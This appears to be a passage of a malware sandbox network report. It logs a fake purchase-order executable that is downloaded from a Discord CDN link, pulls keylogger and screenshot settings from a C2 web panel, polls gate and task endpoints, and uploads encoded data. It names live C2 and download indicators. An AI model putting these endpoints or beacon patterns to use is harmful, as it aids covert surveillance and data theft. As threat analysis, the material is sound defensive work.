Feb 22, 2023 09:44:20.994586945 CET	7192	OUT	Data Raw: c3 e4 68 e6 67 6f 51 61 7d 9f 89 df b6 c6 6a 8b f3 25 c6 d7 fa 3a a7 07 be 5d e9 9c 3c b3 72 81 ed 69 f2 3f 00 ca 7e ad 91 89 d4 dd 2d d9 e5 bd 98 b4 1a f3 fb 12 6f 01 77 99 27 5a 9d 8e f4 37 f7 bf 9c 6b 12 b1 f1 f3 2b f4 fa 3d e7 77 9b f6 1a f8 Data Ascii: hgoQa}j%:]<ri?~-ow'Z7k+=w[\|\|II5jxY(rj.2i8HP9Ez_jN (-\|@\C;{Bhbf&GO)BO("\SYPjNf}z~c}0]!EK+
Feb 22, 2023 09:44:21.038599968 CET	7200	OUT	Data Raw: 6b be 31 6a 71 0c f5 71 d0 0a 23 85 7b f8 d4 74 a2 56 4e 00 85 32 b4 e7 0d 7a 81 34 47 44 36 98 21 51 5a 39 88 52 83 ba 79 c2 26 73 fb fe f7 15 10 cf cb 92 b8 76 b9 6d e7 d2 b3 7e 7e 5b 9a c7 24 46 47 77 ef d0 56 c4 84 bc f8 e0 46 e4 8f de b2 8b Data Ascii: k1jqq#{tVN2z4GD6!QZ9Ry&svm~~[$FGwVFSl`=Q\|%8+m4@8t79\jBMJV?{Rmo{6q5@0'sloO-G~v0\bpfGMOERk]
Feb 22, 2023 09:44:21.038682938 CET	7209	OUT	Data Raw: 0e 9c 0e 81 a7 0c 24 70 86 0e 19 b3 17 14 40 42 51 32 c6 b7 6b d8 23 65 50 7c fc f1 f7 5e c3 90 75 f7 07 3e b7 3d 90 62 e7 7b 48 98 b3 7f 00 7e fc 52 67 5f c3 6f 23 00 67 3a 4f 22 25 23 f0 67 3e a6 87 38 40 71 2b 12 c4 15 b3 08 bb 23 19 88 7f 09 Data Ascii: $p@BQ2k#eP\|^u>=b{H~Rg_o#g:O"%#g>8@q+#tG6Z`?{"KJv)yD>\|lDbYUR}j>E[{!Or1!})(@tdn]MC/+4)$6#~F`]$bap:AG
Feb 22, 2023 09:44:21.038830042 CET	7214	OUT	Data Raw: 12 73 44 90 73 e7 4d eb 3f 77 6b ae 21 61 8d d5 48 fe b9 50 be 57 27 cc 5d 54 82 32 10 bd f1 3e 46 ed 92 02 a4 10 23 76 92 d5 c3 d1 6a 57 dd 7d 8c 1e a2 e7 a6 2b 27 dd 5c 0f 01 29 ae c5 53 7c b2 3b 9c ff e1 b6 c4 8d b1 12 2d b0 41 75 0b a2 6f 1a Data Ascii: sDsM?wk!aHPW']T2>F#vjW}+'\)S\|;-Auo3>jc=vtdG.c[RZ9bmQ75b?/M[jM\C\\|n}jsTqU)DXrHI76PwJ5,[Z]81cEz
Feb 22, 2023 09:44:21.077218056 CET	7217	OUT	Data Raw: 93 ae db 9d 89 7c 4d 9d 09 49 9a 0b 17 99 ae 2b 62 fb 94 e0 54 72 68 5e a4 6d c8 f5 db 47 5f f5 76 ed 96 dd f0 4e ca 5b e3 83 8b 08 b1 08 ef 51 f2 da e3 84 f8 80 29 04 dd 5d fe 40 ce bd 72 71 0a d4 04 15 d3 e3 7a 57 3b b0 24 26 b5 30 0f 37 6f 78 Data Ascii: \|MI+bTrh^mG_vN[Q)]@rqzW;$&07ox]XP6dk tW1mu\|el.%Z7Se"="Z+-GJVp&.^#LOrjzuM~WEN>sutL w{9W.U}686F
Feb 22, 2023 09:44:21.081852913 CET	7222	OUT	Data Raw: 52 97 59 8b 2c 75 70 e3 e5 f2 75 a9 01 7c 6a a0 bc 39 a8 a6 98 2b 85 3b 25 4b 8c c0 69 a0 14 d2 69 e3 c7 22 c0 06 3c e6 dc b2 d5 a5 3e 79 64 f7 e6 6a 40 ad be 5f b0 23 10 29 1b 9e 18 82 8a 24 5b a5 be fd de 38 bb 52 d3 b5 ad 0c dd 32 4e 75 39 7a Data Ascii: RY,upu\|j9+;%Kii"<>ydj@_#)$[8R2Nu9z3aJJd)a\Dl4HGP@'/$vsG)'Cw6u]\|H+iGcEH'~,&0:}xv0r:AiJZf7X0RS"` Usr]
Feb 22, 2023 09:44:21.081852913 CET	7232	OUT	Data Raw: 22 e6 cf d3 74 78 57 5b 24 ac 7f 71 c7 77 79 e7 6a 77 e4 f0 17 f6 3a 9b 9c 67 55 4a 2e 1d 66 80 a7 e0 16 62 fd 5d 07 a6 a3 a2 b6 79 29 c2 26 9e 3f b6 6c c8 41 2c b0 94 3c f6 52 21 d3 b3 04 2d f3 b9 b0 f8 36 ef 40 e4 2c 51 5c 28 f6 57 9c 5a 0d c3 Data Ascii: "txW[$qwyjw:gUJ.fb]y)&?lA,<R!-6@,Q\(WZk?N-b!VWdY8v3>FtsRypo,$h<R?hNtGpXnA()>>Vng^J1Xt9&$_JA,N-Qf%ZL
Feb 22, 2023 09:44:21.081921101 CET	7235	OUT	Data Raw: 37 0c 65 78 d3 c9 4b 5c 85 22 ca 92 af c5 ce ef 38 07 71 f6 54 e2 d1 e1 44 8e 83 59 31 5b 67 e2 88 84 55 02 91 04 1b 00 e5 03 53 37 9f b5 b1 55 43 3a 5f e0 19 e1 a1 52 f1 b2 38 20 0f 68 a3 6d 11 26 7d 0c 91 b1 f4 b7 55 08 24 c8 dc b8 02 a8 7e f0 Data Ascii: 7exK\"8qTDY1[gUS7UC:_R8 hm&}U$~]yvs7Or5Z\|^mdzSc?d,;-:Y7}N}"yt!KeG!bE!nznd"S}"#c`:oJ/+yF

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49702	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:42:54.937304020 CET	1082	OUT	GET /webpanel//config.json HTTP/1.1 Host: mavelecgr.com Connection: Keep-Alive
Feb 22, 2023 09:42:54.980845928 CET	1083	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: application/json last-modified: Fri, 17 Feb 2023 05:25:27 GMT accept-ranges: bytes content-length: 44 date: Wed, 22 Feb 2023 08:42:54 GMT server: LiteSpeed Data Raw: 7b 22 74 69 6d 65 5f 6b 65 79 6c 6f 67 73 22 3a 20 31 2c 20 22 74 69 6d 65 5f 73 63 72 65 65 6e 73 68 6f 74 22 3a 20 33 30 20 20 7d Data Ascii: {"time_keylogs": 1, "time_screenshot": 30 }

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49703	208.95.112.1	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:42:55.890913010 CET	1083	OUT	GET /json/ HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Feb 22, 2023 09:42:55.929812908 CET	1084	IN	HTTP/1.1 200 OK Date: Wed, 22 Feb 2023 08:42:55 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 35 X-Rl: 42 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49704	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:42:57.678081036 CET	1085	OUT	GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1 Host: mavelecgr.com Connection: Keep-Alive
Feb 22, 2023 09:42:57.727603912 CET	1085	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 4 date: Wed, 22 Feb 2023 08:42:57 GMT server: LiteSpeed Data Raw: ef bb bf 30 Data Ascii: 0
Feb 22, 2023 09:42:58.151679993 CET	1085	OUT	GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1 Host: mavelecgr.com
Feb 22, 2023 09:42:58.199872017 CET	1085	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:42:58 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 22, 2023 09:43:03.216938972 CET	1086	OUT	GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1 Host: mavelecgr.com
Feb 22, 2023 09:43:03.262929916 CET	1086	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:43:03 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49705	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:43:15.532727957 CET	1088	OUT	GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1 Host: mavelecgr.com Connection: Keep-Alive
Feb 22, 2023 09:43:15.581665993 CET	1088	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:43:15 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49706	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:43:20.754673958 CET	1089	OUT	GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1 Host: mavelecgr.com
Feb 22, 2023 09:43:20.800676107 CET	1089	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:43:20 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49707	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:43:25.218739986 CET	1090	OUT	GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1 Host: mavelecgr.com
Feb 22, 2023 09:43:25.265571117 CET	1090	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:43:25 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49696	162.159.135.233	443	C:\Windows\SysWOW64\wget.exe

Timestamp	kBytes transferred	Direction	Data
2023-02-22 08:42:08 UTC	0	OUT	GET /attachments/897446870190800920/1077789889103405057/REVISED_PO.zip HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko Accept: / Accept-Encoding: identity Host: cdn.discordapp.com Connection: Keep-Alive
2023-02-22 08:42:08 UTC	0	IN	HTTP/1.1 200 OK Date: Wed, 22 Feb 2023 08:42:08 GMT Content-Type: application/zip Content-Length: 946178 Connection: close CF-Ray: 79d66d3b98013639-FRA Accept-Ranges: bytes Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename="REVISED_PO.zip" ETag: "71914786e393e822a40a2382f53c3671" Expires: Thu, 22 Feb 2024 08:42:08 GMT Last-Modified: Wed, 22 Feb 2023 03:12:14 GMT Vary: Accept-Encoding CF-Cache-Status: MISS Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 x-goog-generation: 1677035534021488 x-goog-hash: crc32c=pAt5JA== x-goog-hash: md5=cZFHhuOT6CKkCiOC9Tw2cQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 946178 X-GUploader-UploadID: ADPycdsPOGPBAJaOaHkhJP3GQpqe7oYRJGYhJ1eIncM31_6E82qYDQUk2Bj94dWwwJKLrYqCG1sJbu8aLSPOtSokoofmbbNFqxRz X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Set-Cookie: __cf_bm=d7XdGTuqEOQPug1keVA.bEtMJL.Aq84Vq1IscAlPMqg-1677055328-0-ARAGJe9LRVQ3uGUdIWlcIY8Z8fBEOxunDM2G+ASkDrCLqN3jMA+utRBnHz5taTYvdPHVTzxUxUDrP/S8inMF1SE=; path=/; expires=Wed, 22-Feb-23 09:12:08 GMT; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
2023-02-22 08:42:08 UTC	1	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 32 52 69 44 38 6c 35 67 74 7a 49 68 49 31 51 35 25 32 42 37 79 51 56 72 68 71 54 6c 4e 46 77 34 35 50 6c 49 4d 34 66 41 6c 52 32 57 70 34 71 37 6b 52 76 76 71 44 45 50 35 31 6e 51 79 36 73 4c 68 6c 36 25 32 46 55 66 62 7a 51 46 43 52 71 59 64 64 4b 6a 46 57 54 57 75 6b 6b 74 44 4f 4c 57 34 5a 6f 34 77 66 38 37 30 38 66 75 45 68 53 59 75 43 63 64 52 5a 75 76 73 46 25 32 46 56 50 6d 75 79 54 71 52 31 53 76 6a 33 66 51 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2RiD8l5gtzIhI1Q5%2B7yQVrhqTlNFw45PlIM4fAlR2Wp4q7kRvvqDEP51nQy6sLhl6%2FUfbzQFCRqYddKjFWTWukktDOLW4Zo4wf8708fuEhSYuCcdRZuvsF%2FVPmuyTqR1Svj3fQ%3D%3D"}],"group":"cf-nel","max_age":
2023-02-22 08:42:08 UTC	1	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 47 20 56 56 11 60 e5 95 99 6e 0e 00 00 a4 13 00 4e 00 00 00 50 4f 20 34 37 31 38 37 38 35 36 5f 50 44 46 20 20 20 20 53 61 75 72 65 72 20 54 65 78 74 69 6c 65 20 53 6f 6c 75 74 69 6f 6e 73 20 50 72 69 76 61 74 65 20 4c 69 6d 69 74 65 64 20 20 20 69 47 53 54 5f 65 48 32 6d 59 61 4d 2e 65 78 45 9c 5b 09 78 14 55 b6 3e dd 9d 84 10 d9 b2 d0 21 6c dd 80 84 a2 d5 10 44 e1 76 a3 18 90 c5 05 10 04 65 51 50 51 04 44 d3 da 01 41 91 88 a3 8e 1b 83 c8 20 b8 3d 46 c4 71 74 7c ee 3c 14 47 71 19 c1 95 71 01 5c c1 c7 e8 13 9d d1 71 19 65 49 80 f4 3b ff b9 75 6f 55 17 e1 cd 7c 2f 1f d5 5d 75 ef b9 e7 fc 67 bd 4b 17 a3 26 2f a5 08 11 e5 f1 95 cd 12 3d 47 fa af 86 fe f5 df 22 be da c4 9e 6f 43 6b 5b 6e ee f6 5c 68 e4 e6 6e e3 67 ce aa 8b 5f 9e Data Ascii: PKG VV`nNPO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE[xU>!lDveQPQDA =Fqt\|<Gqq\qeI;uoU\|/]ugK&/=G"oCk[n\hng_
2023-02-22 08:42:08 UTC	3	IN	Data Raw: 3a 8a dc 9e ba 71 b0 16 4f b5 45 73 98 4f 78 51 47 64 11 4c 53 9e 7a 5b 4c fc 4a 16 f5 bb 1a 7a 4e 60 d2 45 9d 11 6c df 72 a3 73 36 99 99 37 79 bf 90 ae c8 ea 9a 91 74 31 08 85 48 09 3b 27 9a e9 2d 9a e4 34 a0 4a 5d cc e0 d4 43 67 36 d8 08 7c ae 20 04 06 fb 6c 90 51 c1 c4 4d 6f 43 ea 4c 06 fc 73 cc 14 e2 4c 44 6c 6c f3 8c fe 96 24 09 e2 1b 8b 96 f4 20 a9 7d 3a e2 42 c9 af 6c 48 c9 30 6f fa 22 ac b5 f2 e8 8d 90 24 a5 b1 65 c4 d8 32 42 c3 90 3b c7 73 f3 1e fe fe 0e 5a f1 fd 99 7c 65 f8 1a 1e 72 73 ab 9a 6f 8a 0b 12 1c 58 25 2d 9c 93 b0 d8 19 2e e3 f3 b5 2f 50 32 33 7c 9d 0d 5a e0 70 a6 30 8c b2 a6 82 f1 fc 55 57 03 8b 4f 25 b3 5e 81 22 c5 79 c9 11 b8 97 75 5a 3d 4f b1 79 d1 a6 50 69 9e a7 42 f2 41 4f f3 bb 41 54 be 08 54 da 34 93 40 70 bd e8 78 95 e8 b8 63 Data Ascii: :qOEsOxQGdLSz[LJzN`Elrs67yt1H;'-4J]Cg6\| lQMoCLsLDll$ }:BlH0o"$e2B;sZ\|ersoX%-./P23\|Zp0UWO%^"yuZ=OyPiBAOATT4@pxc
2023-02-22 08:42:08 UTC	4	IN	Data Raw: 7c d8 20 54 c8 91 cc 4a eb 63 4c 20 ea a5 06 9b cd e9 89 90 71 92 98 48 db ec 7a 90 95 18 2e 4b 85 b4 6e 12 7a ae 45 8f 03 06 f5 0d b6 50 95 a7 27 03 58 2f 34 cf 68 b0 31 10 6b a7 7d 5a 68 4d 75 5a 03 4c 55 d3 e0 79 e7 06 10 c8 3c 5a a5 b1 de 03 db 69 93 4b a6 56 a3 af a4 c1 b3 ca a3 61 b7 dc a9 ad 12 26 51 e7 3e 78 b8 ca e7 f2 1b c1 74 30 06 7e b2 4f 06 a2 0e 67 d6 c3 00 bf 45 57 8d 05 b4 7e 1f fc 81 67 f5 f8 be 80 03 45 07 71 a0 da 47 d6 36 e9 79 68 58 96 b5 80 74 a6 aa 86 fd 36 56 a2 ce bd 90 72 24 b8 4e d4 00 a4 cc f7 72 eb 99 ae 1b d9 06 2b af 53 fa 1c a8 da ca c2 ea 0e 58 aa 83 46 84 1a 1d 6b ab a7 88 e3 c1 33 4f b7 a3 9a 65 b6 18 af aa f7 04 a3 54 89 cc 97 dc ca 99 d3 79 70 79 45 dd b9 b0 c8 dd 00 d4 15 83 5f df 2b 80 6a 29 b7 f0 0b a6 78 8c 4c ad Data Ascii: \| TJcL qHz.KnzEP'X/4h1k}ZhMuZLUy<ZiKVa&Q>xt0~OgEW~gEqG6yhXt6Vr$Nr+SXFk3OeTypyE_+j)xL
2023-02-22 08:42:08 UTC	5	IN	Data Raw: 64 d7 b0 32 ad 4f d6 5d 0f 13 b6 09 9f 62 44 09 78 6e 04 c6 41 c2 f3 38 cd f3 7d 0c 9e 87 55 d8 47 a0 1a 60 25 77 10 aa 36 4d 87 5d 24 49 88 fd 53 8e 45 a2 92 f9 ea 69 44 66 38 fd 20 0f af 70 3e 04 bb 62 13 39 9b f4 f1 c9 4e 6e ec a0 37 14 58 9b aa 67 a4 39 fd 47 72 4f 93 34 08 ec 22 d5 5d 07 ad 06 99 3b 2d be f6 56 8b f9 72 74 23 c9 7e d9 41 ab 4a 67 6d 1e 9b 32 a9 b1 72 e8 34 42 33 03 32 77 05 fb b0 f5 45 dc 60 ec 7e 08 11 70 39 1f 80 a1 ec 60 f2 0f 5a 87 65 1e 01 a4 cf d0 85 45 a7 fa fb 01 ab 5f ac b7 39 a0 fb 18 dd 85 16 ca 26 39 85 d1 67 3f e9 c7 41 d9 3f be 32 64 16 ec 3b 0c 2f 1d 48 77 83 58 8e 84 d4 12 3d e2 21 6a 6e 7f b5 1d c3 b0 7f 53 33 3c c6 1d c5 0a 6a 2d d2 31 ec fc 95 6c 10 28 6b be a4 80 e9 73 40 0a 95 bb c5 fe 0b 06 61 4b e3 86 ad bb 66 Data Ascii: d2O]bDxnA8}UG`%w6M]$ISEiDf8 p>b9Nn7Xg9GrO4"];-Vrt#~AJgm2r4B32wE`~p9`ZeE_9&9g?A?2d;/HwX=!jnS3<j-1l(ks@aKf
2023-02-22 08:42:08 UTC	7	IN	Data Raw: bb 91 05 60 c7 d7 3a be b0 5c 5b c3 d7 4d e4 15 93 b0 1c 75 f8 76 ea 1b 3c 93 3c 23 f0 8f f5 a5 30 f6 e5 09 d5 98 75 73 49 cf 39 62 23 9d b0 3a 26 53 43 c8 6f c4 e4 6c 21 c0 b3 3a 3f 2b 91 2c da 4c 10 04 c9 7f e4 46 d9 20 d1 fa b8 ac 9b dd 52 1d c4 e4 3d b3 92 b3 1b 7c 39 1b b6 22 0a b3 36 59 0e 36 79 a8 55 3a eb d6 b7 7e cd c7 61 3f df 79 64 44 0e 03 c2 78 d7 ad 9a c8 7b 11 2b df 98 0b fb 0d 67 9d 2d 37 02 f7 53 81 8b e3 0d 77 b9 e2 fc 9d 3f f0 ee 6d c1 82 8d 38 08 91 85 cb 6b 02 23 e7 dd 7b 79 bb db be ea 83 87 13 21 07 33 96 5e 33 c9 4e 0e 3f 73 16 f9 2a c6 bb 22 6e a3 88 ab e3 7d 67 c1 c2 e3 a1 c1 5b 68 48 b8 1b 6d bd 05 5c 80 0e 3d 45 92 19 9e 5a 9a b5 b3 d1 8d 59 fd 9e e0 1d 2e 1e f7 bc c8 1f 47 30 27 ef 58 08 98 e0 2c 35 1e 5d 39 42 fa 37 23 e4 35 Data Ascii: `:\[Muv<<#0usI9b#:&SCol!:?+,LF R=\|9"6Y6yU:~a?ydDx{+g-7Sw?m8k#{y!3^3N?s*"n}g[hHm\=EZY.G0'X,5]9B7#5
2023-02-22 08:42:08 UTC	8	IN	Data Raw: 19 da 25 18 c0 e8 a4 27 7f 6c a4 3d 88 a1 b6 35 6b d2 0c f0 69 ad 49 1b 89 ce 9e 9a ed eb 78 0f 7b 22 f9 c7 06 5b 4a fe 3a b8 cf a0 c8 e9 95 65 f7 79 b9 c1 32 3d da 26 c4 c6 a1 12 bb 47 f3 42 6a 12 f4 68 01 1b db 56 99 c9 25 95 e3 14 19 24 67 43 ad 33 3a 64 70 40 5c 86 bf 11 62 3b db 7c c3 b9 d4 03 95 1b 6c 13 17 16 8a 28 58 af cd bf 85 65 5d c7 06 ab 62 cb 1b 6c 03 55 cb a8 6e f8 cf f1 de 52 7b ff 54 6f 05 a5 1b 49 0a 5e 5f 6b 63 b2 81 bb 39 90 13 54 32 e5 81 38 53 b8 05 ad 17 70 5d c7 68 75 35 36 07 59 7d 2c 59 33 eb ad 1d 3b ad de b6 47 fe de 88 e1 c1 b6 48 53 89 ce 3f 9f 09 bb 08 17 01 94 11 db 71 69 66 40 bd 6d ac 6c 2b e5 60 05 70 66 eb 2d 6f 74 a5 88 1d ec 00 ed 04 5d 00 26 96 5b e1 6e bc 8e 16 f5 7f b8 fe f2 f9 1a 0b 9c ff d5 ba e0 9f 6f 4a 30 9d Data Ascii: %'l=5kiIx{"[J:ey2=&GBjhV%$gC3:dp@\b;\|l(Xe]blUnR{ToI^_kc9T28Sp]hu56Y},Y3;GHS?qif@ml+`pf-ot]&[noJ0
2023-02-22 08:42:08 UTC	9	IN	Data Raw: ad 92 7e a5 9d 9d f2 1a 13 b8 a6 27 60 93 3e 35 d7 e7 b5 22 91 77 a2 93 b6 2a 91 36 2e 81 27 e1 6b 0b fd 62 71 78 42 8c 6b 3d fb 8e b5 9c 3d 9c f7 53 13 38 0e 4e e4 9b 92 08 1f e2 e4 3d c1 79 9f 91 80 9b e9 a4 9d c8 f7 f0 3c fc 69 08 68 fc e9 8c 77 ee c3 18 08 67 5b e4 8b 2b 38 bf 6e ef 4a 72 7c 6e eb 3f bf 8e 8e cd 58 d5 f8 7e ff 54 a8 16 2b d7 3d 6f 4e 1d 8c 75 df aa d8 8f 96 dc bb 0c 5c 1f 9a 48 dd 99 74 dd 49 26 ea f0 bb a0 d3 91 0e 1d b6 68 88 44 fe 33 4c 74 bb 84 f9 8f 47 2a ac 33 6f fa 08 a8 b6 b1 b6 1f f3 c6 9d 5a bc 61 5c ae 30 b5 a3 4d 34 bc 02 7b dd 23 31 c9 77 41 4d 32 7f e2 fc 7a 48 cd 18 50 73 46 0c 7f 82 56 71 11 c6 1e b8 cb d0 13 23 3d 09 bf 82 9b ad 1d 75 2b d6 33 4d 8d ea cf 9e e6 a9 af 63 1f 5a f3 d6 a1 1f ff fd 72 a3 26 d6 38 49 19 27 Data Ascii: ~'`>5"w6.'kbqxBk==S8N=y<ihwg[+8nJr\|n?X~T+=oNu\HtI&hD3LtG3oZa\0M4{#1wAM2zHPsFVq#=u+3McZr&8I'
2023-02-22 08:42:08 UTC	11	IN	Data Raw: f2 9e c0 be 1b 08 7a 9a cd aa 0d 14 a0 b8 61 96 39 2f f3 8c f8 53 8a 07 2a 36 df b9 34 12 b8 ad 40 d4 ad cb 2d 77 45 d1 7d 61 22 a7 23 e4 45 cf 7a 91 9e 93 97 db 9e 74 8c e6 80 fe d7 9e 14 f4 56 e5 b0 9d 53 b1 c4 98 b2 19 eb af 27 d5 f7 06 fa 71 c8 77 57 a3 ad 48 6e 47 94 d7 0f 60 ad 15 0c 8e 71 7f 0f c4 c2 b0 0f 56 2d b3 dd 29 3b 23 7b 80 d3 dd 3b 5b 22 3f e6 e1 f5 b7 15 12 3a b2 9b 1a 3c 53 d6 5a 8a d5 11 4e d9 6e 66 99 74 23 f3 5d b1 2c 16 84 63 01 d0 2a ea 53 27 2d b3 0d ae 0b 81 41 43 6c ab 65 eb dc 31 24 68 b3 d6 f6 ed 6c cf 82 d1 65 b8 2d af 0f cb eb a1 58 8f 52 ce 3f 62 0a 74 d8 48 0b dc b4 14 c0 cb 97 12 2d ac ac 2e b3 44 2c 53 3d 2b ab 6e 9e 76 06 90 1f 02 e4 98 63 04 1f 2f 4d f6 2a 10 a8 4a fa 46 1a 7d ca 83 01 a5 51 2f ea 88 6c 37 2d b5 72 99 Data Ascii: za9/S64@-wE}a"#EztVS'qwWHnG`qV-);#{;["?:<SZNnft#],cS'-ACle1$hle-XR?btH-.D,S=+nvc/M*JF}Q/l7-r
2023-02-22 08:42:08 UTC	12	IN	Data Raw: 68 4e 17 b8 a9 9e b6 e7 59 e5 7a 05 c8 b9 f2 dc 27 70 b3 04 e7 6c c9 b7 91 e4 2f 97 f0 5e 02 b4 a5 fc 3e 21 f9 36 14 98 a3 05 fe 78 49 c3 9c 32 78 54 a7 d3 0f a6 d6 3b d3 a2 63 f8 3c f5 a0 9d 05 b0 c3 31 90 3c 1a c9 a7 0a 0a af 63 55 99 db 57 67 32 0f a7 a2 b9 11 41 69 77 0f d6 24 16 66 6f 5d d4 c9 3f 45 a2 3b 7d de 55 0a 75 5f ca 7a 86 50 ac 7f 2f d0 d0 a5 b1 66 ad 05 a8 f4 5f 83 70 6d 8a 61 d0 cb 9d c1 98 67 01 08 5b 89 53 ad b7 74 fa 34 3b 65 ec 05 b0 30 b2 82 27 34 fe 52 00 9f 2f 11 d5 97 99 82 f9 52 5d 84 e0 7c 05 bc 3c 05 77 37 71 c3 45 a8 bb a5 6a 42 0c 9d 35 61 68 54 93 ba 09 74 67 d3 d9 31 7a 6d 5c 69 eb 9b 09 38 7a 79 fe 4b 29 cc 79 5f 4e 85 33 7a ed 45 5d e8 e3 6e bb 36 9e 43 dc 0e 80 76 c0 d6 d8 60 b1 75 d1 da c0 54 0c 7e d1 e8 17 53 76 3e b1 Data Ascii: hNYz'pl/^>!6xI2xT;c<1<cUWg2Aiw$fo]?E;}Uu_zP/f_pmag[St4;e0'4R/R]\|<w7qEjB5ahTtg1zm\i8zyK)y_N3zE]n6Cv`uT~Sv>
